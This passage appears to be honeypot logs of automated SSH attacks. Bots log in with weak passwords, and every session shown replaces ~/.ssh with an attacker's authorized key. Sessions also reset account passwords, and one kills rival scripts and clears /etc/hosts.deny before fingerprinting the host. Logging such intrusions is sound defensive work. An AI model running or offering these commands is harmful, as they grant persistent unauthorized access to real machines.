LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T13:59:41.994824+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T13:59:43.817956+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T13:59:44.654653+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T13:59:46.235623+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T13:59:47.071893+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T13:59:48.107696+00:00","kind":"output","latency_ms":null,"data":"top - 13:59:48 up 7 days, 10:49, 0 user, load average: 0.05, 0.06, 0.04\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T13:59:48.949290+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T13:59:49.988159+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T13:59:50.825064+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T13:59:52.703830+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T13:59:53.543038+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T13:59:54.727198+00:00","kind":"output","latency_ms":null,"data":"aswin"},{"seq":31,"at":"2026-08-27T13:59:55.575020+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T13:59:56.676325+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T13:59:57.517381+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T13:59:58.434202+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"aswin","password":"aswin","method":"password","accepted":true,"tier":"other"}]} {"id":"02d94f97-51a7-477a-b442-27cb5437ccb7","name":"mossy-electric-muntjac","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":38488,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":347,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:59:37.357704+00:00","ended_at":"2026-08-27T13:59:39.371099+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2183,"events":[{"seq":1,"at":"2026-08-27T13:59:04.686097+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:59:05.037296+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:59:09.436226+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:59:10.964196+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:59:11.305944+00:00","kind":"input","latency_ms":null,"data":"echo \"root:DIWw5i9SWSrO\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:59:12.055565+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:59:12.163166+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T13:59:12.395898+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T13:59:14.563226+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T13:59:15.011706+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T13:59:15.945948+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T13:59:16.800087+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T13:59:18.554186+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T13:59:19.948907+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T13:59:21.478636+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T13:59:21.823337+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T13:59:23.465019+00:00","kind":"output","latency_ms":null,"data":" 13:59:23 up 7 days, 10:49, 0 user, load average: 0.15, 0.16, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T13:59:23.935077+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T13:59:25.887870+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T13:59:26.234554+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T13:59:27.938622+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T13:59:28.279671+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T13:59:29.159197+00:00","kind":"output","latency_ms":null,"data":"top - 13:59:29 up 7 days, 10:49, 0 user, load average: 0.15, 0.16, 0.14\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T13:59:29.499584+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T13:59:31.202642+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T13:59:31.544259+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T13:59:32.586833+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T13:59:33.027279+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T13:59:34.941501+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T13:59:35.279877+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T13:59:36.963324+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T13:59:37.358406+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T13:59:39.269084+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"redhat","method":"password","accepted":true,"tier":"other"}]} {"id":"92f79bfd-6af6-423b-ae4a-edc12c4026b0","name":"barren-salty-walrus","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":49358,"username":"oracle","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":376,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:58:11.390937+00:00","ended_at":"2026-08-27T13:58:13.191461+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2121,"events":[{"seq":1,"at":"2026-08-27T13:57:37.301018+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:57:37.690938+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:57:43.208076+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:57:44.473860+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:57:44.849868+00:00","kind":"input","latency_ms":null,"data":"echo -e \"system\\neL7OMDHMfYKP\\neL7OMDHMfYKP\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:57:45.226953+00:00","kind":"input","latency_ms":null,"data":"echo \"system\\neL7OMDHMfYKP\\neL7OMDHMfYKP\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:57:45.743054+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:57:46.462357+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T13:57:46.482940+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T13:57:46.650148+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T13:57:47.025145+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T13:57:49.203832+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:57:49.784393+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T13:57:51.030603+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T13:57:51.416080+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T13:57:53.266943+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T13:57:53.636169+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T13:57:55.739235+00:00","kind":"output","latency_ms":null,"data":" 13:57:55 up 7 days, 10:48, 0 user, load average: 0.11, 0.09, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T13:57:56.126284+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T13:57:57.418025+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T13:57:57.793781+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T13:57:59.867512+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T13:58:00.388543+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T13:58:02.221515+00:00","kind":"output","latency_ms":null,"data":"top - 13:58:02 up 7 days, 10:48, 0 user, load average: 0.11, 0.09, 0.07\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T13:58:02.672129+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T13:58:03.663121+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T13:58:04.678174+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T13:58:06.316313+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T13:58:06.691738+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T13:58:08.520073+00:00","kind":"output","latency_ms":null,"data":"oracle"},{"seq":31,"at":"2026-08-27T13:58:08.895043+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T13:58:11.014874+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T13:58:11.391687+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T13:58:13.076265+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"oracle","password":"system","method":"password","accepted":true,"tier":"other"}]} {"id":"0c54333f-71e9-44e8-ab7d-a8d2058fe802","name":"forlorn-prairie-teal","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":52786,"username":"abcd","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":831,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:58:04.604391+00:00","ended_at":"2026-08-27T13:58:06.394056+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2135,"events":[{"seq":1,"at":"2026-08-27T13:57:26.409501+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:57:27.241072+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:57:33.479157+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:57:35.543187+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:57:36.370103+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\n6JWBHsMQJjq2\\n6JWBHsMQJjq2\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:57:37.196758+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\n6JWBHsMQJjq2\\n6JWBHsMQJjq2\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:57:37.891685+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T13:57:38.023987+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T13:57:38.064075+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T13:57:39.705799+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T13:57:40.532298+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T13:57:42.176421+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:57:43.012226+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T13:57:44.722070+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T13:57:45.554798+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T13:57:47.279189+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T13:57:48.106146+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T13:57:49.522697+00:00","kind":"output","latency_ms":null,"data":" 13:57:49 up 7 days, 10:47, 0 user, load average: 0.21, 0.25, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T13:57:50.373267+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T13:57:52.431713+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T13:57:53.266051+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T13:57:54.224610+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T13:57:55.068579+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T13:57:56.626470+00:00","kind":"output","latency_ms":null,"data":"top - 13:57:56 up 7 days, 10:48, 0 user, load average: 0.21, 0.25, 0.15\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T13:57:57.456655+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T13:57:58.326279+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T13:57:59.154151+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T13:58:00.378918+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T13:58:01.205393+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T13:58:02.061642+00:00","kind":"output","latency_ms":null,"data":"abcd"},{"seq":31,"at":"2026-08-27T13:58:02.895042+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T13:58:03.778056+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T13:58:04.605276+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T13:58:06.125284+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"abcd","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"8cb3b0fa-51f7-4c83-b350-c42fa84f4ada","name":"alpine-weathered-parakeet","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":36360,"username":"myuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":364,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:56:43.301357+00:00","ended_at":"2026-08-27T13:56:44.588020+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2098,"events":[{"seq":1,"at":"2026-08-27T13:56:09.099408+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:56:09.462494+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:56:15.716035+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:56:17.358768+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:56:18.047390+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1\\nQMl7qWgEy33R\\nQMl7qWgEy33R\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:56:18.603089+00:00","kind":"input","latency_ms":null,"data":"echo \"1\\nQMl7qWgEy33R\\nQMl7qWgEy33R\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:56:18.961059+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:56:19.681520+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T13:56:20.186031+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T13:56:20.899873+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T13:56:21.223357+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T13:56:22.163609+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:56:22.532185+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T13:56:24.657094+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T13:56:25.020300+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T13:56:26.792759+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T13:56:27.152272+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T13:56:29.144270+00:00","kind":"output","latency_ms":null,"data":" 13:56:29 up 7 days, 10:46, 0 user, load average: 0.35, 0.27, 0.4\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T13:56:29.509255+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T13:56:31.508447+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T13:56:31.986666+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T13:56:34.029459+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T13:56:34.384513+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T13:56:35.409663+00:00","kind":"output","latency_ms":null,"data":"top - 13:56:35 up 7 days, 10:46, 0 user, load average: 0.35, 0.27, 0.4\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T13:56:35.767169+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T13:56:36.624252+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T13:56:37.052840+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T13:56:38.806897+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 